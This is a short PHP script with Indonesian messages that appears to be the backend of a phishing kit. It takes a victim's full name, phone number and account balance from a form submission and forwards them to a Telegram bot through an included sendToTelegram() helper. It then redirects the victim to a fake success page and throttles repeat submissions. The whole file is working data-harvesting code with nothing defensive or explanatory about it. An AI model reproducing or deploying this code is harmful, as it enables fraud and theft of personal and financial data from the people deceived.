<?php
session_start();
include './telegram.php';

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    $last_request_time = $_SESSION['last_request_time'] ?? 0;
    $current_time = time();
    $cooldown_period = 60; 

    if ($current_time - $last_request_time < $cooldown_period) {
        http_response_code(429); 
        exit('Mohon tunggu sejenak sebelum mencoba lagi.');
    }

    $nama = $_GET['a'] ?? '';
    $nomor = $_GET['b'] ?? '';
    $saldo = $_GET['c'] ?? '';

    if (empty($nama) || empty($nomor) || empty($saldo)) {
        http_response_code(400);
        exit('Data tidak lengkap.');
    }

    $_SESSION['last_request_time'] = $current_time;
    $_SESSION['a'] = $nama;
    $_SESSION['b'] = $nomor;
    $_SESSION['c'] = $saldo;

    if (strpos($saldo, '.') !== false) {
        $clean_saldo = str_replace('.', '', $saldo);
        if (!is_numeric($clean_saldo)) {
            http_response_code(400);
            exit('Format saldo tidak valid.');
        }

        $msg = "Nama Lengkap: $nama\n";
        $msg .= "Nomor Hp: $nomor\n";
        $msg .= "Saldo: $saldo\n";
        sendToTelegram($msg);
    }

    header("Location: ../sukses.html");
    exit;
}
?>